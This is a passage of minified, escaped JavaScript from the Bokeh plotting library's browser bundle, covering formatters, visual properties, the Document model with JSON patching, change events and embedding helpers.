"#2F4F4F\\\",black:\\\"#000000\\\"},i.is_svg_color=function(t){return t in i.svg_colors}},function(t,e,s){var r=t(389),n=t(361),o=t(390),_=t(38),a=t(44);function l(t,e,i){if(a.isNumber(t)){var n=function(){switch(!1){case Math.floor(t)!=t:return\\\"%d\\\";case!(.1<Math.abs(t)&&Math.abs(t)<1e3):return\\\"%0.3f\\\";default:return\\\"%0.3e\\\"}}();return r.sprintf(n,t)}return\\\"\\\"+t}function p(t,e,i,n){if(null==i)return l;if(null!=n&&(t in n||e in n)){var r=e in n?e:t,o=n[r];if(a.isString(o)){if(o in s.DEFAULT_FORMATTERS)return s.DEFAULT_FORMATTERS[o];throw new Error(\\\"Unknown tooltip field formatter type '\\\"+o+\\\"'\\\")}return function(t,e,i){return o.format(t,e,i)}}return s.DEFAULT_FORMATTERS.numeral}function d(t,e,i,n){if(\\\"$\\\"==t[0]){if(t.substring(1)in n)return n[t.substring(1)];throw new Error(\\\"Unknown special variable '\\\"+t+\\\"'\\\")}var r=e.get_column(t);if(null==r)return null;if(a.isNumber(i))return r[i];var o=r[i.index];if(a.isTypedArray(o)||a.isArray(o)){if(a.isArray(o[0])){var s=o[i.dim2];return s[i.dim1]}return o[i.flat_index]}return o}s.DEFAULT_FORMATTERS={numeral:function(t,e,i){return n.format(t,e)},datetime:function(t,e,i){return o(t,e)},printf:function(t,e,i){return r.sprintf(e,t)}},s.basic_formatter=l,s.get_formatter=p,s.get_value=d,s.replace_placeholders=function(t,a,l,h,u){void 0===u&&(u={});var c=t.replace(/(?:^|[^@])([@|\\\\$](?:\\\\w+|{[^{}]+}))(?:{[^{}]+})?/g,function(t,e,i){return\\\"\\\"+e});return t=(t=(t=t.replace(/@\\\\$name/g,function(t){return\\\"@{\\\"+u.name+\\\"}\\\"})).replace(/(^|[^\\\\$])\\\\$(\\\\w+)/g,function(t,e,i){return e+\\\"@$\\\"+i})).replace(/(^|[^@])@(?:(\\\\$?\\\\w+)|{([^{}]+)})(?:{([^{}]+)})?/g,function(t,e,i,n,r){var o=d(i=null!=n?n:i,a,l,u);if(null==o)return\\\"\\\"+e+_.escape(\\\"???\\\");if(\\\"safe\\\"==r)return\\\"\\\"+e+o;var s=p(i,c,r,h);return\\\"\\\"+e+_.escape(s(o,r,u))})}},function(t,e,i){var a=t(5),l={};i.get_text_height=function(t){if(null!=l[t])return l[t];var e=a.span({style:{font:t}},\\\"Hg\\\"),i=a.div({style:{display:\\\"inline-block\\\",width:\\\"1px\\\",height:\\\"0px\\\"}}),n=a.div({},e,i);document.body.appendChild(n);try{i.style.verticalAlign=\\\"baseline\\\";var r=a.offset(i).top-a.offset(e).top;i.style.verticalAlign=\\\"bottom\\\";var o=a.offset(i).top-a.offset(e).top,s={height:o,ascent:r,descent:o-r};return l[t]=s}finally{document.body.removeChild(n)}}},function(t,e,i){var a=(\\\"undefined\\\"!=typeof window?window.requestAnimationFrame:void 0)||(\\\"undefined\\\"!=typeof window?window.webkitRequestAnimationFrame:void 0)||(\\\"undefined\\\"!=typeof window?window.mozRequestAnimationFrame:void 0)||(\\\"undefined\\\"!=typeof window?window.msRequestAnimationFrame:void 0)||function(t){return t(Date.now()),-1};i.throttle=function(t,i){var n=null,r=0,o=!1,s=function(){r=Date.now(),n=null,o=!1,t()};return function(){var t=Date.now(),e=i-(t-r);e<=0&&!o?(null!=n&&clearTimeout(n),o=!0,a(s)):n||o||(n=setTimeout(function(){return a(s)},e))}}},function(t,e,i){i.concat=function(t){for(var e=[],i=1;i<arguments.length;i++)e[i-1]=arguments[i];for(var n=t.length,r=0,o=e;r<o.length;r++){var s=o[r];n+=s.length}var a=new t.constructor(n);a.set(t,0);for(var l=t.length,h=0,u=e;h<u.length;h++){var s=u[h];a.set(s,l),l+=s.length}return a}},function(t,e,i){var n=t(21),r=Object.prototype.toString;function o(t){return\\\"[object Number]\\\"===r.call(t)}function s(t){var e=typeof t;return\\\"function\\\"===e||\\\"object\\\"===e&&!!t}i.isBoolean=function(t){return!0===t||!1===t||\\\"[object Boolean]\\\"===r.call(t)},i.isNumber=o,i.isInteger=function(t){return o(t)&&isFinite(t)&&Math.floor(t)===t},i.isString=function(t){return\\\"[object String]\\\"===r.call(t)},i.isStrictNaN=function(t){return o(t)&&t!==+t},i.isFunction=function(t){return\\\"[object Function]\\\"===r.call(t)},i.isArray=function(t){return Array.isArray(t)},i.isArrayOf=function(t,e){return n.all(t,e)},i.isArrayableOf=function(t,e){for(var i=0,n=t.length;i<n;i++)if(!e(t[i]))return!1;return!0},i.isTypedArray=function(t){return null!=t&&null!=t.buffer&&t.buffer instanceof ArrayBuffer},i.isObject=s,i.isPlainObject=function(t){return s(t)&&(null==t.constructor||t.constructor===Object)}},function(t,e,i){function n(t){var e=getComputedStyle(t).fontSize;return null!=e?parseInt(e,10):null}i.getDeltaY=function(t){var e,i=-t.deltaY;if(t.target instanceof HTMLElement)switch(t.deltaMode){case t.DOM_DELTA_LINE:i*=n((e=t.target).offsetParent||document.body)||n(e)||16;break;case t.DOM_DELTA_PAGE:i*=t.target.clientHeight}return i}},function(t,e,i){var f=t(31);function v(t,e,i){var n=[t.start,t.end],r=n[0],o=n[1],s=null!=i?i:(o+r)/2,a=r-(r-s)*e,l=o-(o-s)*e;return[a,l]}function m(t,e){var i=e[0],n=e[1],r={};for(var o in t){var s=t[o],a=s.r_invert(i,n),l=a[0],h=a[1];r[o]={start:l,end:h}}return r}i.scale_highlow=v,i.get_info=m,i.scale_range=function(t,e,i,n,r){void 0===i&&(i=!0),void 0===n&&(n=!0),e=f.clamp(e,-.9,.9);var o=i?e:0,s=v(t.bbox.h_range,o,null!=r?r.x:void 0),a=s[0],l=s[1],h=m(t.xscales,[a,l]),u=n?e:0,c=v(t.bbox.v_range,u,null!=r?r.y:void 0),_=c[0],p=c[1],d=m(t.yscales,[_,p]);return{xrs:h,yrs:d,factor:e}}},function(t,e,i){var n=t(44);i.isValue=function(t){return n.isObject(t)&&\\\"value\\\"in t},i.isField=function(t){return n.isObject(t)&&\\\"field\\\"in t}},function(t,e,i){var n=t(391),r=t(19),o=t(38),s=function(i){function t(t){var e=i.call(this)||this;if(e.removed=new r.Signal0(e,\\\"removed\\\"),null==t.model)throw new Error(\\\"model of a view wasn't configured\\\");return e.model=t.model,e._parent=t.parent,e.id=t.id||o.uniqueId(),e.initialize(t),!1!==t.connect_signals&&e.connect_signals(),e}return n.__extends(t,i),t.prototype.initialize=function(t){},t.prototype.remove=function(){this._parent=void 0,this.disconnect_signals(),this.removed.emit()},t.prototype.toString=function(){return this.model.type+\\\"View(\\\"+this.id+\\\")\\\"},Object.defineProperty(t.prototype,\\\"parent\\\",{get:function(){if(void 0!==this._parent)return this._parent;throw new Error(\\\"parent of a view wasn't configured\\\")},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"is_root\\\",{get:function(){return null===this.parent},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"root\\\",{get:function(){return this.is_root?this:this.parent.root},enumerable:!0,configurable:!0}),t.prototype.connect_signals=function(){},t.prototype.disconnect_signals=function(){r.Signal.disconnectReceiver(this)},t.prototype.notify_finished=function(){this.root.notify_finished()},t}(r.Signalable());i.View=s},function(t,e,i){var n=t(391),r=t(16),o=t(27),s=function(){function t(t,e){void 0===e&&(e=\\\"\\\"),this.obj=t,this.prefix=e,this.cache={};var i=t.properties[e+this.do_attr].spec;this.doit=null!==i.value;for(var n=0,r=this.attrs;n<r.length;n++){var o=r[n];this[o]=t.properties[e+o]}}return t.prototype.warm_cache=function(t){for(var e=0,i=this.attrs;e<i.length;e++){var n=i[e],r=this.obj.properties[this.prefix+n];if(void 0!==r.spec.value)this.cache[n]=r.spec.value;else{if(null==t)throw new Error(\\\"source is required with a vectorized visual property\\\");this.cache[n+\\\"_array\\\"]=r.array(t)}}},t.prototype.cache_select=function(t,e){var i,n=this.obj.properties[this.prefix+t];return void 0!==n.spec.value?this.cache[t]=i=n.spec.value:this.cache[t]=i=this.cache[t+\\\"_array\\\"][e],i},t.prototype.set_vectorize=function(t,e){null!=this.all_indices?this._set_vectorize(t,this.all_indices[e]):this._set_vectorize(t,e)},t}(),h=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype.set_value=function(t){t.strokeStyle=this.line_color.value(),t.globalAlpha=this.line_alpha.value(),t.lineWidth=this.line_width.value(),t.lineJoin=this.line_join.value(),t.lineCap=this.line_cap.value(),t.setLineDash(this.line_dash.value()),t.setLineDashOffset(this.line_dash_offset.value())},e.prototype._set_vectorize=function(t,e){this.cache_select(\\\"line_color\\\",e),t.strokeStyle!==this.cache.line_color&&(t.strokeStyle=this.cache.line_color),this.cache_select(\\\"line_alpha\\\",e),t.globalAlpha!==this.cache.line_alpha&&(t.globalAlpha=this.cache.line_alpha),this.cache_select(\\\"line_width\\\",e),t.lineWidth!==this.cache.line_width&&(t.lineWidth=this.cache.line_width),this.cache_select(\\\"line_join\\\",e),t.lineJoin!==this.cache.line_join&&(t.lineJoin=this.cache.line_join),this.cache_select(\\\"line_cap\\\",e),t.lineCap!==this.cache.line_cap&&(t.lineCap=this.cache.line_cap),this.cache_select(\\\"line_dash\\\",e),t.getLineDash()!==this.cache.line_dash&&t.setLineDash(this.cache.line_dash),this.cache_select(\\\"line_dash_offset\\\",e),t.getLineDashOffset()!==this.cache.line_dash_offset&&t.setLineDashOffset(this.cache.line_dash_offset)},e.prototype.color_value=function(){var t=o.color2rgba(this.line_color.value(),this.line_alpha.value()),e=t[0],i=t[1],n=t[2],r=t[3];return\\\"rgba(\\\"+255*e+\\\",\\\"+255*i+\\\",\\\"+255*n+\\\",\\\"+r+\\\")\\\"},e}(i.ContextProperties=s);(i.Line=h).prototype.attrs=Object.keys(r.line()),h.prototype.do_attr=\\\"line_color\\\";var u=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype.set_value=function(t){t.fillStyle=this.fill_color.value(),t.globalAlpha=this.fill_alpha.value()},e.prototype._set_vectorize=function(t,e){this.cache_select(\\\"fill_color\\\",e),t.fillStyle!==this.cache.fill_color&&(t.fillStyle=this.cache.fill_color),this.cache_select(\\\"fill_alpha\\\",e),t.globalAlpha!==this.cache.fill_alpha&&(t.globalAlpha=this.cache.fill_alpha)},e.prototype.color_value=function(){var t=o.color2rgba(this.fill_color.value(),this.fill_alpha.value()),e=t[0],i=t[1],n=t[2],r=t[3];return\\\"rgba(\\\"+255*e+\\\",\\\"+255*i+\\\",\\\"+255*n+\\\",\\\"+r+\\\")\\\"},e}(s);(i.Fill=u).prototype.attrs=Object.keys(r.fill()),u.prototype.do_attr=\\\"fill_color\\\";var c=function(a){function t(){return null!==a&&a.apply(this,arguments)||this}return n.__extends(t,a),t.prototype.cache_select=function(t,e){var i;if(\\\"font\\\"==t){a.prototype.cache_select.call(this,\\\"text_font_style\\\",e),a.prototype.cache_select.call(this,\\\"text_font_size\\\",e),a.prototype.cache_select.call(this,\\\"text_font\\\",e);var n=this.cache,r=n.text_font_style,o=n.text_font_size,s=n.text_font;this.cache.font=i=r+\\\" \\\"+o+\\\" \\\"+s}else i=a.prototype.cache_select.call(this,t,e);return i},t.prototype.font_value=function(){var t=this.text_font.value(),e=this.text_font_size.value(),i=this.text_font_style.value();return i+\\\" \\\"+e+\\\" \\\"+t},t.prototype.color_value=function(){var t=o.color2rgba(this.text_color.value(),this.text_alpha.value()),e=t[0],i=t[1],n=t[2],r=t[3];return\\\"rgba(\\\"+255*e+\\\",\\\"+255*i+\\\",\\\"+255*n+\\\",\\\"+r+\\\")\\\"},t.prototype.set_value=function(t){t.font=this.font_value(),t.fillStyle=this.text_color.value(),t.globalAlpha=this.text_alpha.value(),t.textAlign=this.text_align.value(),t.textBaseline=this.text_baseline.value()},t.prototype._set_vectorize=function(t,e){this.cache_select(\\\"font\\\",e),t.font!==this.cache.font&&(t.font=this.cache.font),this.cache_select(\\\"text_color\\\",e),t.fillStyle!==this.cache.text_color&&(t.fillStyle=this.cache.text_color),this.cache_select(\\\"text_alpha\\\",e),t.globalAlpha!==this.cache.text_alpha&&(t.globalAlpha=this.cache.text_alpha),this.cache_select(\\\"text_align\\\",e),t.textAlign!==this.cache.text_align&&(t.textAlign=this.cache.text_align),this.cache_select(\\\"text_baseline\\\",e),t.textBaseline!==this.cache.text_baseline&&(t.textBaseline=this.cache.text_baseline)},t}(s);(i.Text=c).prototype.attrs=Object.keys(r.text()),c.prototype.do_attr=\\\"text_color\\\";var a=function(){function t(t){for(var e=0,i=t.mixins;e<i.length;e++){var n=i[e],r=n.split(\\\":\\\"),o=r[0],s=r[1],a=void 0===s?\\\"\\\":s,l=void 0;switch(o){case\\\"line\\\":l=h;break;case\\\"fill\\\":l=u;break;case\\\"text\\\":l=c;break;default:throw new Error(\\\"unknown visual: \\\"+o)}this[a+o]=new l(t,a)}}return t.prototype.warm_cache=function(t){for(var e in this)if(this.hasOwnProperty(e)){var i=this[e];i instanceof s&&i.warm_cache(t)}},t.prototype.set_all_indices=function(t){for(var e in this)if(this.hasOwnProperty(e)){var i=this[e];i instanceof s&&(i.all_indices=t)}},t}();i.Visuals=a},function(t,e,i){var o=t(391),s=t(0),_=t(286),j=t(14),n=t(3),p=t(8),r=t(19),a=t(34),N=t(36),m=t(29),y=t(21),b=t(32),x=t(30),d=t(44),l=t(157),F=t(200),g=t(59),h=t(51),u=function(){function t(t){this.document=t,this.session=null,this.subscribed_models=new m.Set}return t.prototype.send_event=function(t){null!=this.session&&this.session.send_event(t)},t.prototype.trigger=function(t){for(var e=0,i=this.subscribed_models.values;e<i.length;e++){var n=i[e];if(null==t.model_id||t.model_id===n){var r=this.document._all_models[n];null!=r&&r._process_event(t)}}},t}();i.EventManager=u,i.documents=[],i.DEFAULT_TITLE=\\\"Bokeh Application\\\";var c=function(){function P(){i.documents.push(this),this._init_timestamp=Date.now(),this._title=i.DEFAULT_TITLE,this._roots=[],this._all_models={},this._all_models_by_name=new m.MultiDict,this._all_models_freeze_count=0,this._callbacks=[],this.event_manager=new u(this),this.idle=new r.Signal0(this,\\\"idle\\\"),this._idle_roots=new WeakMap,this._interactive_timestamp=null,this._interactive_plot=null}return Object.defineProperty(P.prototype,\\\"layoutables\\\",{get:function(){return this._roots.filter(function(t){return t instanceof l.LayoutDOM})},enumerable:!0,configurable:!0}),Object.defineProperty(P.prototype,\\\"is_idle\\\",{get:function(){for(var t=0,e=this.layoutables;t<e.length;t++){var i=e[t];if(!this._idle_roots.has(i))return!1}return!0},enumerable:!0,configurable:!0}),P.prototype.notify_idle=function(t){this._idle_roots.set(t,!0),this.is_idle&&(j.logger.info(\\\"document idle at \\\"+(Date.now()-this._init_timestamp)+\\\" ms\\\"),this.idle.emit())},P.prototype.clear=function(){this._push_all_models_freeze();try{for(;0<this._roots.length;)this.remove_root(this._roots[0])}finally{this._pop_all_models_freeze()}},P.prototype.interactive_start=function(t){null==this._interactive_plot&&(this._interactive_plot=t,this._interactive_plot.trigger_event(new n.LODStart({}))),this._interactive_timestamp=Date.now()},P.prototype.interactive_stop=function(t){null!=this._interactive_plot&&this._interactive_plot.id===t.id&&this._interactive_plot.trigger_event(new n.LODEnd({})),this._interactive_plot=null,this._interactive_timestamp=null},P.prototype.interactive_duration=function(){return null==this._interactive_timestamp?-1:Date.now()-this._interactive_timestamp},P.prototype.destructively_move=function(t){if(t===this)throw new Error(\\\"Attempted to overwrite a document with itself\\\");t.clear();var e=y.copy(this._roots);this.clear();for(var i=0,n=e;i<n.length;i++){var r=n[i];if(null!=r.document)throw new Error(\\\"Somehow we didn't detach \\\"+r)}if(0!==Object.keys(this._all_models).length)throw new Error(\\\"this._all_models still had stuff in it: \\\"+this._all_models);for(var o=0,s=e;o<s.length;o++){var r=s[o];t.add_root(r)}t.set_title(this._title)},P.prototype._push_all_models_freeze=function(){this._all_models_freeze_count+=1},P.prototype._pop_all_models_freeze=function(){this._all_models_freeze_count-=1,0===this._all_models_freeze_count&&this._recompute_all_models()},P.prototype._invalidate_all_models=function(){j.logger.debug(\\\"invalidating document models\\\"),0===this._all_models_freeze_count&&this._recompute_all_models()},P.prototype._recompute_all_models=function(){for(var t=new m.Set,e=0,i=this._roots;e<i.length;e++){var n=i[e];t=t.union(n.references())}for(var r=new m.Set(b.values(this._all_models)),o=r.diff(t),s=t.diff(r),a={},l=0,h=t.values;l<h.length;l++){var u=h[l];a[u.id]=u}for(var c=0,_=o.values;c<_.length;c++){var p=_[c];p.detach_document(),p instanceof g.Model&&null!=p.name&&this._all_models_by_name.remove_value(p.name,p)}for(var d=0,f=s.values;d<f.length;d++){var v=f[d];v.attach_document(this),v instanceof g.Model&&null!=v.name&&this._all_models_by_name.add_value(v.name,v)}this._all_models=a},P.prototype.roots=function(){return this._roots},P.prototype.add_root=function(t,e){if(j.logger.debug(\\\"Adding root: \\\"+t),!y.includes(this._roots,t)){this._push_all_models_freeze();try{this._roots.push(t)}finally{this._pop_all_models_freeze()}this._trigger_on_change(new h.RootAddedEvent(this,t,e))}},P.prototype.remove_root=function(t,e){var i=this._roots.indexOf(t);if(!(i<0)){this._push_all_models_freeze();try{this._roots.splice(i,1)}finally{this._pop_all_models_freeze()}this._trigger_on_change(new h.RootRemovedEvent(this,t,e))}},P.prototype.title=function(){return this._title},P.prototype.set_title=function(t,e){t!==this._title&&(this._title=t,this._trigger_on_change(new h.TitleChangedEvent(this,t,e)))},P.prototype.get_model_by_id=function(t){return t in this._all_models?this._all_models[t]:null},P.prototype.get_model_by_name=function(t){return this._all_models_by_name.get_one(t,\\\"Multiple models are named '\\\"+t+\\\"'\\\")},P.prototype.on_change=function(t){y.includes(this._callbacks,t)||this._callbacks.push(t)},P.prototype.remove_on_change=function(t){var e=this._callbacks.indexOf(t);0<=e&&this._callbacks.splice(e,1)},P.prototype._trigger_on_change=function(t){for(var e=0,i=this._callbacks;e<i.length;e++){var n=i[e];n(t)}},P.prototype._notify_change=function(t,e,i,n,r){\\\"name\\\"===e&&(this._all_models_by_name.remove_value(i,t),null!=n&&this._all_models_by_name.add_value(n,t));var o=null!=r?r.setter_id:void 0,s=null!=r?r.hint:void 0;this._trigger_on_change(new h.ModelChangedEvent(this,t,e,i,n,o,s))},P._references_json=function(t,e){void 0===e&&(e=!0);for(var i=[],n=0,r=t;n<r.length;n++){var o=r[n],s=o.ref();s.attributes=o.attributes_as_json(e),delete s.attributes.id,i.push(s)}return i},P._instantiate_object=function(t,e,i){var n=o.__assign({},i,{id:t,__deferred__:!0}),r=s.Models(e);return new r(n)},P._instantiate_references_json=function(t,e){for(var i={},n=0,r=t;n<r.length;n++){var o=r[n],s=o.id,a=o.type,l=o.attributes||{},h=void 0;s in e?h=e[s]:(h=P._instantiate_object(s,a,l),null!=o.subtype&&h.set_subtype(o.subtype)),i[h.id]=h}return i},P._resolve_refs=function(t,e,i){function o(t){if(a.is_ref(t)){if(t.id in e)return e[t.id];if(t.id in i)return i[t.id];throw new Error(\\\"reference \\\"+JSON.stringify(t)+\\\" isn't known (not in Document?)\\\")}return d.isArray(t)?function(t){for(var e=[],i=0,n=t;i<n.length;i++){var r=n[i];e.push(o(r))}return e}(t):d.isPlainObject(t)?function(t){var e={};for(var i in t){var n=t[i];e[i]=o(n)}return e}(t):t}return o(t)},P._initialize_references_json=function(t,e,i){for(var n={},r=0,o=t;r<o.length;r++){var s=o[r],a=s.id,l=s.attributes,h=!(a in e),u=h?i[a]:e[a],c=P._resolve_refs(l,e,i);n[u.id]=[u,c,h]}function _(h,u){var c={};function _(t){if(t instanceof p.HasProps){if(!(t.id in c)&&t.id in h){c[t.id]=!0;var e=h[t.id],i=e[1],n=e[2];for(var r in i){var o=i[r];_(o)}u(t,i,n)}}else if(d.isArray(t))for(var s=0,a=t;s<a.length;s++){var o=a[s];_(o)}else if(d.isPlainObject(t))for(var l in t){var o=t[l];_(o)}}for(var t in h){var e=h[t],i=e[0];_(i)}}_(n,function(t,e,i){i&&t.setv(e,{silent:!0})}),_(n,function(t,e,i){i&&t.finalize()})},P._event_for_attribute_change=function(t,e,i,n,r){var o=n.get_model_by_id(t.id);if(o.attribute_is_serializable(e)){var s={kind:\\\"ModelChanged\\\",model:{id:t.id,type:t.type},attr:e,new:i};return p.HasProps._json_record_references(n,i,r,!0),s}return null},P._events_to_sync_objects=function(t,e,i,n){for(var r=Object.keys(t.attributes),o=Object.keys(e.attributes),s=y.difference(r,o),a=y.difference(o,r),l=y.intersection(r,o),h=[],u=0,c=s;u<c.length;u++){var _=c[u];j.logger.warn(\\\"Server sent key \\\"+_+\\\" but we don't seem to have it in our JSON\\\")}for(var p=0,d=a;p<d.length;p++){var _=d[p],f=e.attributes[_];h.push(P._event_for_attribute_change(t,_,f,i,n))}for(var v=0,m=l;v<m.length;v++){var _=m[v],g=t.attributes[_],f=e.attributes[_];null==g&&null==f||(null==g||null==f?h.push(P._event_for_attribute_change(t,_,f,i,n)):x.isEqual(g,f)||h.push(P._event_for_attribute_change(t,_,f,i,n)))}return h.filter(function(t){return null!=t})},P._compute_patch_since_json=function(t,e){var i=e.to_json(!1);function n(t){for(var e={},i=0,n=t.roots.references;i<n.length;i++){var r=n[i];e[r.id]=r}return e}for(var r=n(t),o={},s=[],a=0,l=t.roots.root_ids;a<l.length;a++){var h=l[a];o[h]=r[h],s.push(h)}for(var u=n(i),c={},_=[],p=0,d=i.roots.root_ids;p<d.length;p++){var h=d[p];c[h]=u[h],_.push(h)}if(s.sort(),_.sort(),0<y.difference(s,_).length||0<y.difference(_,s).length)throw new Error(\\\"Not implemented: computing add/remove of document roots\\\");var f={},v=[];for(var m in e._all_models)if(m in r){var g=P._events_to_sync_objects(r[m],u[m],e,f);v=v.concat(g)}return{references:P._references_json(b.values(f),!1),events:v}},P.prototype.to_json_string=function(t){return void 0===t&&(t=!0),JSON.stringify(this.to_json(t))},P.prototype.to_json=function(t){void 0===t&&(t=!0);var e=this._roots.map(function(t){return t.id}),i=b.values(this._all_models);return{version:_.version,title:this._title,roots:{root_ids:e,references:P._references_json(i,t)}}},P.from_json_string=function(t){var e=JSON.parse(t);return P.from_json(e)},P.from_json=function(t){j.logger.debug(\\\"Creating Document from JSON\\\");var e=t.version,i=-1!==e.indexOf(\\\"+\\\")||-1!==e.indexOf(\\\"-\\\"),n=\\\"Library versions: JS (\\\"+_.version+\\\") / Python (\\\"+e+\\\")\\\";i||_.version===e?j.logger.debug(n):(j.logger.warn(\\\"JS/Python version mismatch\\\"),j.logger.warn(n));var r=t.roots,o=r.root_ids,s=r.references,a=P._instantiate_references_json(s,{});P._initialize_references_json(s,{},a);for(var l=new P,h=0,u=o;h<u.length;h++){var c=u[h];l.add_root(a[c])}return l.set_title(t.title),l},P.prototype.replace_with_json=function(t){var e=P.from_json(t);e.destructively_move(this)},P.prototype.create_json_patch_string=function(t){return JSON.stringify(this.create_json_patch(t))},P.prototype.create_json_patch=function(t){for(var e={},i=[],n=0,r=t;n<r.length;n++){var o=r[n];if(o.document!==this)throw j.logger.warn(\\\"Cannot create a patch using events from a different document, event had \\\",o.document,\\\" we are \\\",this),new Error(\\\"Cannot create a patch using events from a different document\\\");i.push(o.json(e))}return{events:i,references:P._references_json(b.values(e))}},P.prototype.apply_json_patch=function(t,e,i){for(var n,r=t.references,o=t.events,s=P._instantiate_references_json(r,this._all_models),a=0,l=o;a<l.length;a++){var h=l[a];switch(h.kind){case\\\"RootAdded\\\":case\\\"RootRemoved\\\":case\\\"ModelChanged\\\":var u=h.model.id;if(u in this._all_models)s[u]=this._all_models[u];else if(!(u in s))throw j.logger.warn(\\\"Got an event for unknown model \\\",h.model),new Error(\\\"event model wasn't known\\\")}}var c={},_={};for(var p in s){var d=s[p];p in this._all_models?c[p]=d:_[p]=d}P._initialize_references_json(r,c,_);for(var f=0,v=o;f<v.length;f++){var h=v[f];switch(h.kind){case\\\"ModelChanged\\\":var m=h.model.id;if(!(m in this._all_models))throw new Error(\\\"Cannot apply patch to \\\"+m+\\\" which is not in the document\\\");var g=this._all_models[m],y=h.attr,b=h.model.type;if(\\\"data\\\"===y&&\\\"ColumnDataSource\\\"===b){var x=N.decode_column_data(h.new,e),w=x[0],k=x[1];g.setv({_shapes:k,data:w},{setter_id:i})}else{var d=P._resolve_refs(h.new,c,_);g.setv(((n={})[y]=d,n),{setter_id:i})}break;case\\\"ColumnDataChanged\\\":var S=h.column_source.id;if(!(S in this._all_models))throw new Error(\\\"Cannot stream to \\\"+S+\\\" which is not in the document\\\");var C=this._all_models[S],T=N.decode_column_data(h.new,e),w=T[0],k=T[1];if(null!=h.cols){for(var A in C.data)A in w||(w[A]=C.data[A]);for(var A in C._shapes)A in k||(k[A]=C._shapes[A])}C.setv({_shapes:k,data:w},{setter_id:i,check_eq:!1});break;case\\\"ColumnsStreamed\\\":var S=h.column_source.id;if(!(S in this._all_models))throw new Error(\\\"Cannot stream to \\\"+S+\\\" which is not in the document\\\");var C=this._all_models[S];if(!(C instanceof F.ColumnDataSource))throw new Error(\\\"Cannot stream to non-ColumnDataSource\\\");var w=h.data,E=h.rollover;C.stream(w,E,i);break;case\\\"ColumnsPatched\\\":var S=h.column_source.id;if(!(S in this._all_models))throw new Error(\\\"Cannot patch \\\"+S+\\\" which is not in the document\\\");var C=this._all_models[S];if(!(C instanceof F.ColumnDataSource))throw new Error(\\\"Cannot patch non-ColumnDataSource\\\");var M=h.patches;C.patch(M,i);break;case\\\"RootAdded\\\":var O=h.model.id,z=s[O];this.add_root(z,i);break;case\\\"RootRemoved\\\":var O=h.model.id,z=s[O];this.remove_root(z,i);break;case\\\"TitleChanged\\\":this.set_title(h.title,i);break;default:throw new Error(\\\"Unknown patch event \\\"+JSON.stringify(h))}}},P}();i.Document=c},function(t,e,i){var n=t(391),o=t(8),r=function(t){this.document=t},s=function(l){function t(t,e,i,n,r,o,s){var a=l.call(this,t)||this;return a.model=e,a.attr=i,a.old=n,a.new_=r,a.setter_id=o,a.hint=s,a}return n.__extends(t,l),t.prototype.json=function(t){if(\\\"id\\\"===this.attr)throw new Error(\\\"'id' field should never change, whatever code just set it is wrong\\\");if(null!=this.hint)return this.hint.json(t);var e=this.new_,i=o.HasProps._value_to_json(this.attr,e,this.model),n={};for(var r in o.HasProps._value_record_references(e,n,!0),this.model.id in n&&this.model!==e&&delete n[this.model.id],n)t[r]=n[r];return{kind:\\\"ModelChanged\\\",model:this.model.ref(),attr:this.attr,new:i}},t}(i.DocumentChangedEvent=r);i.ModelChangedEvent=s;var a=function(r){function t(t,e,i){var n=r.call(this,t)||this;return n.column_source=e,n.patches=i,n}return n.__extends(t,r),t.prototype.json=function(t){return{kind:\\\"ColumnsPatched\\\",column_source:this.column_source,patches:this.patches}},t}(r);i.ColumnsPatchedEvent=a;var l=function(o){function t(t,e,i,n){var r=o.call(this,t)||this;return r.column_source=e,r.data=i,r.rollover=n,r}return n.__extends(t,o),t.prototype.json=function(t){return{kind:\\\"ColumnsStreamed\\\",column_source:this.column_source,data:this.data,rollover:this.rollover}},t}(r);i.ColumnsStreamedEvent=l;var h=function(r){function t(t,e,i){var n=r.call(this,t)||this;return n.title=e,n.setter_id=i,n}return n.__extends(t,r),t.prototype.json=function(t){return{kind:\\\"TitleChanged\\\",title:this.title}},t}(r);i.TitleChangedEvent=h;var u=function(r){function t(t,e,i){var n=r.call(this,t)||this;return n.model=e,n.setter_id=i,n}return n.__extends(t,r),t.prototype.json=function(t){return o.HasProps._value_record_references(this.model,t,!0),{kind:\\\"RootAdded\\\",model:this.model.ref()}},t}(r);i.RootAddedEvent=u;var c=function(r){function t(t,e,i){var n=r.call(this,t)||this;return n.model=e,n.setter_id=i,n}return n.__extends(t,r),t.prototype.json=function(t){return{kind:\\\"RootRemoved\\\",model:this.model.ref()}},t}(r);i.RootRemovedEvent=c},function(t,e,i){var n=t(391);n.__exportStar(t(50),i),n.__exportStar(t(51),i)},function(t,e,n){var r=t(5);function o(t){var e=document.getElementById(t);if(null==e)throw new Error(\\\"Error rendering Bokeh model: could not find #\\\"+t+\\\" HTML tag\\\");if(!document.body.contains(e))throw new Error(\\\"Error rendering Bokeh model: element #\\\"+t+\\\" must be under <body>\\\");if(\\\"SCRIPT\\\"==e.tagName){var i=r.div({class:n.BOKEH_ROOT});r.replaceWith(e,i),e=i}return e}n.BOKEH_ROOT=\\\"bk-root\\\",n.inject_css=function(t){var e=r.link({href:t,rel:\\\"stylesheet\\\",type:\\\"text/css\\\"});document.body.appendChild(e)},n.inject_raw_css=function(t){var e=r.style({},t);document.body.appendChild(e)},n._resolve_element=function(t){var e=t.elementid;return null!=e?o(e):document.body},n._resolve_root_elements=function(t){var e={};if(null!=t.roots)for(var i in t.roots)e[i]=o(t.roots[i]);return e}},function(t,e,i){var d=t(52),f=t(14),s=t(25),v=t(38),m=t(44),g=t(57),y=t(56),b=t(53),n=t(57);i.add_document_standalone=n.add_document_standalone;var r=t(56);i.add_document_from_session=r.add_document_from_session;var o=t(55);i.embed_items_notebook=o.embed_items_notebook,i.kernels=o.kernels;var a=t(53);function l(t,e,i,n){m.isString(t)&&(t=JSON.parse(v.unescape(t)));var r={};for(var o in t){var s=t[o];r[o]=d.Document.from_json(s)}for(var a=0,l=e;a<l.length;a++){var h=l[a],u=b._resolve_element(h),c=b._resolve_root_elements(h);if(null!=h.docid)g.add_document_standalone(r[h.docid],u,c,h.use_for_title);else{if(null==h.sessionid)throw new Error(\\\"Error rendering Bokeh items: either 'docid' or 'sessionid' was expected.\\\");var _=y._get_ws_url(i,n);f.logger.debug(\\\"embed: computed ws url: \\\"+_);var p=y.add_document_from_session(_,h.sessionid,u,c,h.use_for_title);p.then(function(){console.log(\\\"Bokeh items were rendered 